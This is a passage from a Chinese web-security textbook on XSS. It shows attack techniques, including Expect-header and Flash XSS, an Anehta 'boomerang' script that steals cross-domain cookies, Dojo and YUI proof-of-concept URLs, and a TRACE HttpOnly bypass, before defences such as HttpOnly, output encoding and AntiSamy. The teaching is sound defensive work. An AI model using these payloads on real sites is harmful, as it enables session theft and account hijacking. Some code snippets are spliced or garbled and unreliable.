timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-11ba<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\"><HTML><HEAD><TITLE>417 Expectation Failed</TITLE></HEAD><BODY><H1>Expectation Failed</H1>The expectation given in the Expect request-headerfield could not be met by this server.<P>The client sent<PRE>Expect: <script>alert('http://www.whiteacid.org is vulnerable to the Expect Headervulnerability.');</script></PRE>but we only allow the 100-continue expectation.</BODY></HTML>0注意到服务器在出错返回时，会把Expect头的内容未经任何处理便写入到页面中，因此Expect头中的HTML代码就被浏览器解析执行了。这是Apache的漏洞，影响范围相当广。从这个攻击过程可以看出，需要在提交请求时向HTTP头中注入恶意数据，才能触发这个漏洞。但对于XSS攻击来说，JavaScript工作在渲染后的浏览器环境中，无法控制用户浏览器发出的HTTP头。因此，这个漏洞曾经一度被认为是“鸡肋”漏洞。后来安全研究者Amit Klein提出了“使用Flash构造请求”的方法，成功地利用了这个漏洞，变废为宝！在Flash中发送HTTP请求时，可以自定义大多数的HTTP头。如下是Amit Klein的演示代码：//Credits to Amit Klein as he wrote this, I just decompiled itinURL = this._url;inPOS = inURL.lastIndexOf(\"?\");inParam = inURL.substring(inPOS + 1, inPOS.length);req = new LoadVars();req.addRequestHeader(\"Expect\", \"<script>alert(\\'\" + inParam + \" is vulnerable to theExpect Header vulnerability.\\ ');</script>\");<body><script>alert(\\'\" + inParam + \" is vulnerable to theExpect Header vulnerability.\\ ');</script>\");req.send(inParam, \"_blank\", \"POST\");正因为此，Flash在新版本中禁止用户自定义发送Expect头。但后来发现可以通过注入HTTP头的方式绕过这个限制：req.addRequestHeader(\"Expect:FooBar\",\"<script>alert('XSS')</script>\");目前Flash已经修补好了这些问题。此类攻击，还可以通过Java Applet等构造HTTP请求的第三方插件来实现。3.2.7.2 Anehta的回旋镖反射型XSS也有可能像存储型XSS一样利用：将要利用的反射型XSS嵌入一个存储型XSS中。这个攻击技巧，曾经在笔者实现的一个XSS攻击平台（Anehta）中使用过，笔者将其命名为“回旋镖”。因为浏览器同源策略的原因，XSS也受到同源策略的限制——发生在A域上的XSS很难影响到B域的用户。回旋镖的思路就是：如果在B域上存在一个反射型“XSS_B”，在A域上存在一个存储型“XSS_A”，当用户访问A域上的“XSS_A”时，同时嵌入B域上的“XSS_B”，则可以达到在A域的XSS攻击B域用户的目的。我们知道，在IE中，<iframe>、<img>、<link>等标签都会拦截“第三方Cookie”的发送，而在Firefox中则无这种限制（第三方Cookie即指保存在本地的Cookie，也就是服务器设置了expire时间的Cookie）。所以，对于Firefox来说，要实现回旋镖的效果非常简单，只需要在XSS_A处嵌入一个iframe即可：<iframe src=\"http://www.b.com/?xss.... \" ></iframe>但是对于IE来说，则要麻烦很多。为了达到执行XSS_B的目的，可以使用一个<form>标签，在浏览器提交form表单时，并不会拦截第三方Cookie的发送。因此，先在XSS_A上写入一个<form>，自动提交到XSS_B，然后在XSS_B中再跳转回原来的XSS_A，即完成一个“回旋镖”的过程。但是这种攻击的缺点是，尽管跳转花费的时间很短，但用户还是会看到浏览器地址栏的变化。代码如下：var target = \"http://www.b.com/xssDemo.html#'><scriptsrc=http://www.a.com/anehta/feed.js></script><'\";var org_url = \"http://www.a.com/anehta/demo.html\";var target_domain = target.split('/');target_domain = target_domain[2];var org_domain = org_url.split('/');org_domain = org_domain[2];////////////////////////////////////////////////////////// boomerang 回旋镖模块，获取第三方远程站点的Cookie// 并将页面重定向回当前页面// 要求远程站点存在一个XSS//// Author: axis///////////////////////////////////////////////////////// 如果是当前页面，则向目标提交if ($d.domain == org_domain){ if (anehta.dom.checkCookie(\"boomerang\") == false){ // 在Cookie里做标记，只弹一次 anehta.dom.addCookie(\"boomerang\", \"x\"); setTimeout( function (){ try { anehta.net.postForm(target); } catch (e){ //alert(e); } }, 50); }}// 如果是目标站点，则重定向回前页面if ($d.domain == target_domain){ anehta.logger.logCookie(); setTimeout( function (){ // 弹回原来的页面 anehta.net.postForm(org_url); }, 50);}如果能在B域上找到一个302跳转的页面，也可以不使用form表单，这样会更加方便。虽然“回旋镖”并不是一种完美的漏洞利用方式，但也能将反射型XSS的效果变得更加自动化。XSS漏洞是一个Web安全问题，不能因为它的利用难易程度而决定是否应该修补。随着技术的发展，某些难以利用的漏洞，也许不再是难题。\n3.2.8 容易被忽视的角落：Flash XSS前文讲到的XSS攻击都是基于HTML的，其实在Flash中同样也有可能造成XSS攻击。在Flash中是可以嵌入ActionScript脚本的。一个最常见的Flash XSS可以这样写：getURL(\"javascript:alert(document.cookie)\")将Flash嵌入页面中：<embed src=\"http://yourhost/evil.swf\"pluginspage=\"http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash\"type=\"application/x-shockwave-flash\"width=\"0\"height=\"0\"></embed>ActionScript是一种非常强大和灵活的脚本，甚至可以使用它发起网络连接，因此应该尽可能地禁止用户能够上传或加载自定义的Flash文件。由于Flash文件如此危险，所以在实现XSSFilter时，一般都会禁用<embed>、<object>等标签。后者甚至可以加载ActiveX控件，能够产生更为严重的后果。如果网站的应用一定要使用Flash怎么办？一般来说，如果仅仅是视频文件，则要求转码为“flv文件”。flv文件是静态文件，不会产生安全隐患。如果是带动态脚本的Flash，则可以通过Flash的配置参数进行限制。常见的嵌入Flash的代码如下：<object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\"codebase=\"http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0\"name=\"Main\" width=\"1000\" height=\"600\" align=\"middle\" id=\"Main\"><embed flashvars=\"site=&sitename=\" src='Loading.swf?user=453156346' width=\"1000\"height=\"600\" align=\"middle\" quality=\"high\" name=\"Main\" allowscriptaccess=\"sameDomain\"type=\"application/x-shockwave-flash\"pluginspage=\"http://www.macromedia.com/go/getflashplayer\" /></object>限制Flash动态脚本的最重要的参数是“al-lowScriptAccess”，这个参数定义了Flash能否与HTML页面进行通信。它有三个可选值： always，对与HTML的通信也就是执行JavaScript不做任何限制；sameDomain，只允许来自于本域的Flash与Html通信，这是默认值；never，绝对禁止Flash与页面通信。使用always是非常危险的，一般推荐使用never。如果值为sameDomain的话，请务必确保Flash文件不是用户传上来的。除了“allowScriptAccess”外，“allowNet-working”也非常关键，这个参数能控制Flash与外部网络进行通信。它有三个可选值： ?all，允许使用所有的网络通信，也是默认值； ?internal，Flash不能与浏览器通信如navi-gateToURL，但是可以调用其他的API； ?none，禁止任何的网络通信。一般建议此值设置为none或者internal。设置为all可能带来安全问题。除了用户的Flash文件能够实施脚本攻击外，一些Flash也可能会产生XSS漏洞。看如下Ac-tionScript代码：on (release) {getURL (_root.clickTAG, \"_blank\");}这段代码经常出现在广告的Flash中，用于控制用户点击后的URL。但是这段代码缺乏输入验证，可以被XSS攻击：http://url/to/flash-file.swf?clickTAG=javascript:alert('xss')安全研究者Stefano Di Paola曾经写了一个叫“SWFIntruder”的工具来检测产生在Flash里的XSS漏洞，通过这个工具可以检测出很多注入Flash变量导致的XSS问题。SWFIntruder的界面要修补本例中的漏洞，可以使用输入检查的方法：on (release) {if (_root.clickTAG.substring(0,5)== \"http:\" ||_root.clickTAG.substring(0,6)== \"https:\" || _root.clickTAG.substring(0,1)== \"/\") {getURL (_root.clickTAG, \"_blank\");}}Flash XSS往往被开发者所忽视。注入Flash变量的XSS，因为其问题出现在编译后的Flash文件中，一般的扫描工具或者代码审计工具都难以检查，常常使其成为漏网之鱼。OWASP为Flash安全研究设立了一个Wiki页面，有兴趣的读者可以参考。\n3.2.9 真的高枕无忧吗：JavaScript开发框架在Web前端开发中，一些JavaScript开发框架深受开发者欢迎。利用JavaScript开发框架中的各种强大功能，可以快速而简洁地完成前端开发。一般来说，成熟的JavaScript开发框架都会注意自身的安全问题。但是代码是人写的，高手偶尔也会犯错。一些JavaScript开发框架也曾暴露过一些XSS漏洞。DojoDojo是一个流行的JavaScript开发框架，它曾被发现存在XSS漏洞。在Dojo 1.4.1中，存在两个“DOM Based XSS”：File: dojo-release-1.4.1-src\\dojo-release-1.4.1-src\\dijit\\tests\\_testCommon.js用户输入由theme参数传入，然后被赋值给变量themeCss，最终被document.write到页面里：Line 25:var str = window.location.href.substr(window.location.href.indexOf(\"?\")+1).split(/#/);Line 54:..snip..var themeCss = d.moduleUrl(\"dijit.themes\",theme+\"/\"+theme+\".css\");var themeCssRtl = d.moduleUrl(\"dijit.themes\",theme+\"/\"+theme+\"_rtl.css\");document.write('<link rel=\"stylesheet\" type=\"text/css\" href=\"'+themeCss+'\">');document.write('<link rel=\"stylesheet\" type=\"text/css\" href=\"'+themeCssRtl+'\">');所以凡是引用了_testCommon.js的文件，都受影响。POC如下：http://WebApp/dijit/tests/form/test_Button.html?theme=\"/><script>alert(/xss/)</script>类似的问题还存在于：File: dojo-release-1.4.1-src\\dojo-release-1.4.1-src\\util\\doh\\runner.html它也是从window.location传入了用户能够控制的数据，最终被document.write到页面：Line 40:var qstr = window.location.search.substr(1);..snip..Line 64:document.write(\"<scr\"+\"ipt type='text/javascript' djConfig='isDebug: true'src='\"+dojoUrl+\"'></scr\"+\"ipt>\");..snip..document.write(\"<scr\"+\"ipt type='text/javascript' src='\"+testUrl+\".js'></scr\"+\"ipt>\");POC如下：http://WebApp/util/doh/runner.html?dojoUrl='/>foo</script><'\"<script>alert(/xss/)</script>这些问题在Dojo 1.4.2版本中已经得到修补。但是从这些漏洞可以看到，使用JavaScript开发框架也并非高枕无忧，需要随时关注可能出现的安全问题。YUI翻翻YUI的bugtracker，也可以看到类似Dojo的问题。在YUI 2.8.1中曾经fix过一个“DOM BasedXSS”。YUI的History Manager功能中有这样一个问题，打开官方的demo页：http://developer.yahoo.com/yui/examples/history/history-navbar_source.html点击一个Tab页，等待页面加载完成后，在URL的hash中插入恶意脚本。构造的XSS如下：http://developer.yahoo.com/yui/examples/history/history-navbar_source.html#navbar=home<script>alert(1)</script>脚本将得到执行。其原因是在history.js的_updateIframe方法中信任了用户可控制的变量：html = '<html><body><div id=\"state\">' + fqstate + '</div></body></html>;最后被写入到页面导致脚本执行。YUI的修补方案是对变量进行了htmlEscape。jQueryjQuery可能是目前最流行的JavaScript框架。它本身出现的XSS漏洞很少。但是开发者应该记住的是，JavaScript框架只是对JavaScript语言本身的封装，并不能解决代码逻辑上产生的问题。所以开发者的意识才是安全编码的关键所在。在jQuery中有一个html()方法。这个方法如果没有参数，就是读取一个DOM节点的inner-HTML；如果有参数，则会把参数值写入该DOM节点的innerHTML中。这个过程中有可能产生“DOM Based XSS”：$('div.demo-container').html(\"<img src=# onerror=alert(1) />\");如上，如果用户能够控制输入，则必然会产生XSS。在开发过程中需要注意这些问题。使用JavaScript框架并不能让开发者高枕无忧，同样可能存在安全问题。除了需要关注框架本的安全外，开发者还要提高安全意识，理解并正确地使用开发框架。\n3.3 XSS的防御XSS的防御是复杂的。流行的浏览器都内置了一些对抗XSS的措施，比如Firefox的CSP、Noscript扩展，IE 8内置的XSS Filter等。而对于网站来说，也应该寻找优秀的解决方案，保护用户不被XSS攻击。在本书中，主要把精力放在如何为网站设计安全的XSS解决方案上。3.3.1 四两拨千斤：HttpOnlyHttpOnly最早是由微软提出，并在IE 6中实现的，至今已经逐渐成为一个标准。浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie。以下浏览器开始支持HttpOnly： Microsoft IE 6 SP1+Mozilla Firefox 2.0.0.5+Mozilla Firefox 3.0.0.6+Google ChromeApple Safari 4.0+Opera 9.5+严格地说，HttpOnly并非为了对抗XSS——HttpOnly解决的是XSS后的Cookie劫持攻击。在“初探XSS Payload”一节中，曾演示过“如何使用XSS窃取用户的Cookie，然后登录进该用户的账户”。但如果该Cookie设置了HttpOnly，则这种攻击会失败，因为JavaScript读取不到Cookie的值。一个Cookie的使用过程如下。Step1：浏览器向服务器发起请求，这时候没有Cookie。Step2：服务器返回时发送Set-Cookie头，向客户端浏览器写入Cookie。Step3：在该Cookie到期前，浏览器访问该域下的所有页面，都将发送该Cookie。HttpOnly是在Set-Cookie时标记的：Set-Cookie: <name>=<value>[; <Max-Age>=<age>][; expires=<date>][; domain=<domain_name>][; path=<some_path>][; secure][; HttpOnly]需要注意的是，服务器可能会设置多个Cookie（多个key-value对），而HttpOnly可以有选择性地加在任何一个Cookie值上。在某些时候，应用可能需要JavaScript访问某几项Cookie，这种Cookie可以不设置HttpOnly标记；而仅把HttpOnly标记给用于认证的关键Cookie。HttpOnly的使用非常灵活。如下是一个使用HttpOnly的过程。<?phpheader(\"Set-Cookie: cookie1=test1;\");header(\"Set-Cookie: cookie2=test2;httponly\", false);?><script> alert(document.cookie);</script>在这段代码中，cookie1没有HttpOnly，cookie2被标记为HttpOnly。两个Cookie均被写入浏览器：测试页面的HTTP响应头浏览器确实接收了两个Cookie：浏览器接收到两个Cookie但是只有cookie1被JavaScript读取到：cookie1被JavaScript读取HttpOnly起到了应有的作用。在不同的语言中，给Cookie添加HttpOnly的代码如下：Java EEresponse.setHeader(\"Set-Cookie\", \"cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly\");C#HttpCookie myCookie = new HttpCookie(\"myCookie\");myCookie.HttpOnly = true;Response.AppendCookie(myCookie);VB.NETDim myCookie As HttpCookie = new HttpCookie(\"myCookie\")myCookie.HttpOnly = TrueResponse.AppendCookie(myCookie)但是在.NET 1.1中需要手动添加：$ telnet foo.com 80Trying 127.0.0.1...Connected to foo.bar.Escape character is ‘^]’.TRACE / HTTP/1.1Host: foo.barX-Header: testHTTP/1.1 200 OKDate: Mon, 02 Dec 2002 19:24:51 GMTServer: Apache/2.0.40 (Unix)Content-Type: message/httpTRACE / HTTP/1.1Host: foo.barX-Header: testResponse.Cookies[cookie].Path += \";HTTPOnly\";PHP 4header(\"Set-Cookie: hidden=value; httpOnly\");PHP 5setcookie(\"abc\", \"test\", NULL, NULL, NULL, NULL, TRUE);最后一个参数为HttpOnly属性。添加HttpOnly的过程简单，效果明显，有如四两拨千斤。但是在部署时需要注意，如果业务非常复杂，则需要在所有Set-Cookie的地方，给关键Cookie都加上HttpOnly。漏掉了一个地方，都可能使得这个方案失效。在过去几年中，曾经出现过一些能够绕过HttpOnly的攻击方法。Apache支持的一个Header是TRACE。TRACE一般用于调试，它会将请求头作为HTTPResponse Body返回。$ telnet foo.com 80Trying 127.0.0.1...Connected to foo.bar.Escape character is ‘^]’.TRACE / HTTP/1.1Host: foo.barX-Header: testHTTP/1.1 200 OKDate: Mon, 02 Dec 2002 19:24:51 GMTServer: Apache/2.0.40 (Unix)Content-Type: message/httpTRACE / HTTP/1.1Host: foo.barX-Header: test利用这个特性，可以把HttpOnly Cookie读出来。<script type=\"text/javascript\"><!--function sendTrace () { var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\"); xmlHttp.open(\"TRACE\", \"http://foo.bar\",false); xmlHttp.send(); xmlDoc=xmlHttp.responseText; alert(xmlDoc);}//--></script><INPUT TYPE=BUTTON OnClick=\"sendTrace();\" VALUE=\"Send Trace Request\">结果如下：JavaScript读取到cookie目前各厂商都已经修补了这些漏洞，但是未来也许还会有新的漏洞出现。现在业界给关键业务添加HttpOnly Cookie已经成为一种“标准”的做法。但是，HttpOnly不是万能的，添加了HttpOnly不等于解决了XSS问题。XSS攻击带来的不光是Cookie劫持问题，还有窃取用户信息、模拟用户身份执行操作等诸多严重的后果。如前文所述，攻击者利用AJAX构造HTTP请求，以用户身份完成的操作，就是在不知道用户Cookie的情况下进行的。使用HttpOnly有助于缓解XSS攻击，但仍然需要其他能够解决XSS漏洞的方案。\n3.3.2 输入检查常见的Web漏洞如XSS、SQL Injection等，都要求攻击者构造一些特殊字符，这些特殊字符可能是正常用户不会用到的，所以输入检查就有存在的必要了。输入检查，在很多时候也被用于格式检查。例如，用户在网站注册时填写的用户名，会被要求只能为字母、数字的组合。比如“hello1234”是一个合法的用户名，而“hello#$^”就是一个非法的用户名。又如注册时填写的电话、邮件、生日等信息，都有一定的格式规范。比如手机号码，应该是不长于16位的数字，且中国大陆地区的手机号码可能是13x、15x开头的，否则即为非法。这些格式检查，有点像一种“白名单”，也可以让一些基于特殊字符的攻击失效。输入检查的逻辑，必须放在服务器端代码中实现。如果只是在客户端使用JavaScript进行输入检查，是很容易被攻击者绕过的。目前Web开发的普遍做法，是同时在客户端JavaScript中和服务器端代码中实现相同的输入检查。客户端JavaScript的输入检查，可以阻挡大部分误操作的正常用户，从而节约服务器资源。在XSS的防御上，输入检查一般是检查用户输入的数据中是否包含一些特殊字符，如<、>、’、”等。如果发现存在特殊字符，则将这些字符过滤或者编码。比较智能的“输入检查”，可能还会匹配XSS的特征。比如查找用户数据中是否包含了“<script>”、“javascript”等敏感字符。这种输入检查的方式，可以称为“XSS Filter”。互联网上有很多开源的“XSS Filter”的实现。XSS Filter在用户提交数据时获取变量，并进行XSS检查；但此时用户数据并没有结合渲染页面的HTML代码，因此XSS Filter对语境的理解并不完整。比如下面这个XSS漏洞：<script src=\"$var\" ></script>其中“$var”是用户可以控制的变量。用户只需要提交一个恶意脚本所在的URL地址，即可实施XSS攻击。如果是一个全局性的XSS Filter，则无法看到用户数据的输出语境，而只能看到用户提交了一个URL，就很可能会漏报。因为在大多数情况下，URL是一种合法的用户数据。XSS Filter还有一个问题——其对“<”、“>”等字符的处理，可能会改变用户数据的语义。比如，用户输入：1+1<3对于XSS Filter来说，发现了敏感字符“<”。如果XSS Filter不够“智能”，粗暴地过滤或者替换了“<”，则可能会改变用户原本的意思。输入数据，还可能会被展示在多个地方，每个地方的语境可能各不相同，如果使用单一的替换操作，则可能会出现问题。比如用户的“昵称”会在很多页面进行展示，但是每个页面的场景可能都是不同的，展示时的需求也不相同。如果在输入的地方统一对数据做了改变，那么输出展示时，可能会遇到如下问题。用户输入的昵称如下：$nickname = '我是\"天才\"'如果在XSS Filter中对双引号进行转义：$nickname = '我是\\\"天才\\\"'在HTML代码中展示时：<div>我是\\\"天才\\\"<div>在JavaScript代码中展示时：<script>var nick = '我是\\\"天才\\\"';document.write(nick);</script>这两段代码，分别得到如下结果：第一个结果显然不是用户想看到的。\n3.3.3 输出检查既然“输入检查”存在这么多问题，那么“输出检查”又如何呢？一般来说，除了富文本的输出外，在变量输出到HTML页面时，可以使用编码或转义的方式来防御XSS攻击。3.3.3.1 安全的编码函数编码分为很多种，针对HTML代码的编码方式是HtmlEncode。HtmlEncode并非专用名词，它只是一种函数实现。它的作用是将字符转换成HTMLEntities，对应的标准是ISO-8859-1。为了对抗XSS，在HtmlEncode中要求至少转换以下字符：& --> &< --> <> --> >\" --> "' --> ' ' 不推荐/ --> / 包含反斜线是因为它可能会闭合一些HTML entity在PHP中，有htmlentities()和htmlspe-cialchars()两个函数可以满足安全要求。相应地，JavaScript的编码方式可以使用JavascriptEncode。JavascriptEncode与HtmlEncode的编码方法不同，它需要使用“\\”对特殊字符进行转义。在对抗XSS时，还要求输出的变量必须在引号内部，以避免造成安全问题。比较下面两种写法：var x = escapeJavascript($evil);var y = '\"'+escapeJavascript($evil)+'\"';如果escapeJavascript()函数只转义了几个危险字符，比如‘、”、<、>、\\、&、#等，那么上面的两行代码输出后可能会变成：var x = 1;alert(2);var y = \"1;alert(2)\";第一行执行额外的代码了；第二行则是安全的。对于后者，攻击者即使想要逃逸出引号的范围，也会遇到困难：var y = \"\\\";alert(1);\\/\\/\";所以要求使用JavascriptEncode的变量输出一定要在引号内。可是很多开发者没有这个习惯怎么办？这就只能使用一个更加严格的JavascriptEncode函数来保证安全——除了数字、字母外的所有字符，都使用十六进制“\\xHH”的方式进行编码。在本例中：var x = 1;alert(2);变成了：var x = 1\\x3balert\\x282\\x29;如此代码可以保证是安全的。在OWASP ESAPI中有一个安全的JavascriptEncode的实现，非常严格。 /** * {@inheritDoc} * * Returns backslash encoded numeric format. Does not use backslash character escapes * such as, \\\" or \\' as these may cause parsing problems. For example, if a javascript * attribute, such as onmouseover, contains a \\\" that will close the entire attribute and * allow an attacker to inject another script attribute. * * @param immune */ public String encodeCharacter( char[] immune, Character c ) { // check for immune characters if ( containsCharacter(c, immune ) ) { return \"\"+c; } // check for alphanumeric characters String hex = Codec.getHexForNonAlphanumeric(c); if ( hex == null ) { return \"\"+c; } // Do not use these shortcuts as they can be used to break out of a context // if ( ch == 0x00 ) return \"\\\\0\"; // if ( ch == 0x08 ) return \"\\\\b\"; // if ( ch == 0x09 ) return \"\\\\t\"; // if ( ch == 0x0a ) return \"\\\\n\"; // if ( ch == 0x0b ) return \"\\\\v\"; // if ( ch == 0x0c ) return \"\\\\f\"; // if ( ch == 0x0d ) return \"\\\\r\"; // if ( ch == 0x22 ) return \"\\\\\\\"\"; // if ( ch == 0x27 ) return \"\\\\'\"; // if ( ch == 0x5c ) return \"\\\\\\\\\"; // encode up to 256 with \\\\xHH String temp = Integer.toHexString(c); if ( c < 256 ) { String pad = \"00\".substring(temp.length() ); return \"\\\\x\" + pad + temp.toUpperCase(); } // otherwise encode with \\\\uHHHH String pad = \"0000\".substring(temp.length() ); return \"\\\\u\" + pad + temp.toUpperCase(); }除了HtmlEncode、JavascriptEncode外，还有许多用于各种情况的编码函数，比如XMLEn-code（其实现与HtmlEncode类似）、JSONEn-code（与JavascriptEncode类似）等。在“Apache Common Lang”的“StringEscapeUtils”里，提供了许多escape的函数。import org.apache.commons.lang.StringEscapeUtils;public class StringUtilsEscapeExampleV1 {l(unescapedXML)); String unescapedHTML = \"<data>\";System.err.println(StringEscapeUtils.escapeHtml(unescapedHTML)); }}可以在适当的情况下选用适当的函数。需要注意的是，编码后的数据长度可能会发生改变，从而影响某些功能。在写代码时需要注意这个细节，以免产生不必要的bug。3.3.3.2 只需一种编码吗XSS攻击主要发生在MVC架构中的View层。大部分的XSS漏洞可以在模板系统中解决。在Python的开发框架Django自带的模板系统“Django Templates”中，可以使用escape进行HtmlEncode。比如：{{ var|escape }}这样写的变量，会被HtmlEncode编码。这一特性在Django 1.0中得到了加强——默认所有的变量都会被escape。这个做法是值得称道的，它符合“Secure By Default”原则。在Python的另一个框架web2py中，也默认escape了所有的变量。在web2py的安全文档中，有这样一句话：web2py, by default, escapes all variables ren-dered in the view, thus preventing XSS.Django和web2py都选择在View层默认HtmlEncode所有变量以对抗XSS，出发点很好。但是，像web2py这样认为这就解决了XSS问题，是错误的观点。前文提到，XSS是很复杂的问题，需要“在正确的地方使用正确的编码方式”。看看下面这个例子：<body><a href=# onclick=\"alert('$var');\" >test</a></body>开发者希望看到的效果是，用户点击链接后，弹出变量“$var”的内容。可是用户如果输入：$var = htmlencode(\"');alert('2\");对变量“$var”进行HtmlEncode后，渲染的结果是：<body><a href=# onclick=\"alert('');alert('2');\" >test</a></body>对于浏览器来说，htmlparser会优先于JavaScript Parser执行，所以解析过程是，被HtmlEncode的字符先被解码，然后执行JavaScript事件。因此，经过htmlparser解析后相当于：<body><a href=# onclick=\"alert('');alert('2');\" >test</a></body>成功在onclick事件中注入了XSS代码！第一次弹框：执行第一个alert第二次弹框：执行第二个alert导致XSS攻击发生的原因，是由于没有分清楚输出变量的语境！因此并非在模板引擎中使用了auto-escape就万事大吉了，XSS的防御需要区分情况对待。\n3.3.4 正确地防御XSS为了更好地设计XSS防御方案，需要认清XSS产生的本质原因。XSS的本质还是一种“HTML注入”，用户的数据被当成了HTML代码一部分来执行，从而混淆了原本的语义，产生了新的语义。如果网站使用了MVC架构，那么XSS就发生在View层——在应用拼接变量到HTML页面时产生。所以在用户提交数据处进行输入检查的方案，其实并不是在真正发生攻击的地方做防御。想要根治XSS问题，可以列出所有XSS可能发生的场景，再一一解决。下面将用变量“$var”表示用户数据，它将被填充入HTML代码中。可能存在以下场景。在HTML标签中输出<div>$var</div><a href=# >$var</a>所有在标签中输出的变量，如果未做任何处理，都能导致直接产生XSS。在这种场景下，XSS的利用方式一般是构造一个<script>标签，或者是任何能够产生脚本执行的方式。比如：<div><script>alert(/xss/)</script></div>或者 <a href=# ><img src=# onerror=alert(1) /></a>防御方法是对变量使用HtmlEncode。在HTML属性中输出在<script>标签中输出时，首先应该确保输出的变量在引号中：<script>var x = \"$var\";</script>攻击者需要先闭合引号才能实施XSS攻击：<script>var x = \"\";alert(/xss/);//\";</script>防御时使用JavascriptEncode。在事件中输出在事件中输出和在<script>标签中输出类似：<a href=# onclick=\"funcA('$var')\" >test</a>可能的攻击方法：<a href=# onclick=\"funcA('');alert(/xss/);//')\" >test</a>在防御时需要使用JavascriptEncode。在CSS中输出在CSS和style、style attribute中形成XSS的方式非常多样化，参考下面几个XSS的例子。<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE><STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE><XSS STYLE=\"behavior: url(xss.htc);\"><STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\"><DIV STYLE=\"width: expression(alert('XSS'));\">所以，一般来说，尽可能禁止用户可控制的变量在“<style>标签”、“HTML标签的style属性”以及“CSS文件”中输出。如果一定有这样的需求，则推荐使用OWASP ESAPI中的encodeForCSS()函数。String safe = ESAPI.encoder().encodeForCSS( request.getParameter( \"input\" ) );其实现原理类似于ESAPI.encoder().encode-ForJavaScript()函数，除了字母、数字外的所有字符都被编码成十六进制形式“\\uHH”。在地址中输出在地址中输出也比较复杂。一般来说，在URL的path（路径）或者search（参数）中输出，使用URLEncode即可。URLEncode会将字符转换为“%HH”形式，比如空格就是“%20”，“<”符号是“%3c”。<a href=\"http://www.evil.com/?test=$var\" >test</a>可能的攻击方法：<a href=\"http://www.evil.com/?test=\" onclick=alert(1)\"\" >test</a>经过URLEncode后，变成了：<a href=\"http://www.evil.com/?test=%22%20onclick%3balert%281%29%22\" >test</a>但是还有一种情况，就是整个URL能够被用户完全控制。这时URL的Protocal和Host部分是不能够使用URLEncode的，否则会改变URL的语义。一个URL的组成如下：[Protocal][Host][Path][Search][Hash]例如：https://www.evil.com/a/b/c/test?abc=123#ssss[Protocal] = \"https://\"[Host] = \"www.evil.com\"[Path] = \"/a/b/c/test\"[Search] = \"?abc=123\"[Hash] = \"#ssss\"在Protocal 与Host中，如果使用严格的UR-LEncode函数，则会把“://”、“.”等都编码掉。对于如下的输出方式：<a href=\"$var\" >test</a>攻击者可能会构造伪协议实施攻击：<a href=\"javascript:alert(1);\" >test</a>除了“javascript”作为伪协议可以执行代码外，还有“vbscript”、“dataURI”等伪协议可能导致脚本执行。“dataURI”这个伪协议是Mozilla所支持的，能够将一段代码写在URL里。如下例：<a href=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=\">test</a>这段代码的意思是，以text/html的格式加载编码为base64的数据，加载完成后实际上是：<script>alert(1);</script>点击<a>标签的链接，将导致执行脚本。执行恶意脚本由此可见，如果用户能够完全控制URL，则可以执行脚本的方式有很多。如何解决这种情况呢？一般来说，如果变量是整个URL，则应该先检查变量是否以“http”开头（如果不是则自动添加），以保证不会出现伪协议类的XSS攻击。<a href=\"$var\" >test</a>在此之后，再对变量进行URLEncode，即可保证不会有此类的XSS发生了。OWASP ESAPI中有一个URLEncode的实现（此API未解决伪协议的问题）：String safe = ESAPI.encoder().encodeForURL( request.getParameter( \"input\" ) );\n3.3.5 处理富文本有些时候，网站需要允许用户提交一些自定义的HTML代码，称之为“富文本”。比如一个用户在论坛里发帖，帖子的内容里要有图片、视频，表格等，这些“富文本”的效果都需要通过HTML代码来实现。如何区分安全的“富文本”和有攻击性的XSS呢？在处理富文本时，还是要回到“输入检查”的思路上来。“输入检查”的主要问题是，在检查时还不知道变量的输出语境。但用户提交的“富文本”数据，其语义是完整的HTML代码，在输出时也不会拼凑到某个标签的属性中。因此可以特殊情况特殊处理。在上一节中，列出了所有在HTML中可能执行脚本的地方。而一个优秀的“XSS Filter”，也应该能够找出HTML代码中所有可能执行脚本的地方。HTML是一种结构化的语言，比较好分析。通过htmlparser可以解析出HTML代码的标签、标签属性和事件。在过滤富文本时，“事件”应该被严格禁止，因为“富文本”的展示需求里不应该包括“事件”这种动态效果。而一些危险的标签，比如<iframe>、<script>、<base>、<form>等，也是应该严格禁止的。在标签的选择上，应该使用白名单，避免使用黑名单。比如，只允许<a>、<img>、<div>等比较“安全”的标签存在。“白名单原则”不仅仅用于标签的选择，同样应该用于属性与事件的选择。在富文本过滤中，处理CSS也是一件麻烦的事情。如果允许用户自定义CSS、style，则也可能导致XSS攻击。因此尽可能地禁止用户自定义CSS与style。如果一定要允许用户自定义样式，则只能像过滤“富文本”一样过滤“CSS”。这需要一个CSSParser对样式进行智能分析，检查其中是否包含危险代码。有一些比较成熟的开源项目，实现了对富文本的XSS检查。Anti-Samy是OWASP上的一个开源项目，也是目前最好的XSS Filter。最早它是基于Java的，现在已经扩展到.NET等语言。import org.owasp.validator.html.*;Policy policy = Policy.getInstance(POLICY_FILE_LOCATION);AntiSamy as = new AntiSamy();CleanResults cr = as.scan(dirtyInput, policy);MyUserDAO.storeUserProfile(cr.getCleanHTML()); // some custom function在PHP中，可以使用另外一个广受好评的开源项目：HTMLPurify。\n3.3.6 防御DOM Based XSSDOM Based XSS是一种比较特别的XSS漏洞，前文提到的几种防御方法都不太适用，需要特别对待。DOM Based XSS是如何形成的呢？回头看看这个例子：<script>function test(){ var str = document.getElementById(\"text\").value; document.getElementById(\"t\").innerHTML = \"<a href='\"+str+\"' >testLink</a>\";}</script><div id=\"t\" ></div><input type=\"text\" id=\"text\" value=\"\" /><input type=\"button\" id=\"s\" value=\"write\" onclick=\"test()\" />在button的onclick事件中，执行了test()函数，而该函数中最关键的一句是：document.getElementById(\"t\").innerHTML = \"<a 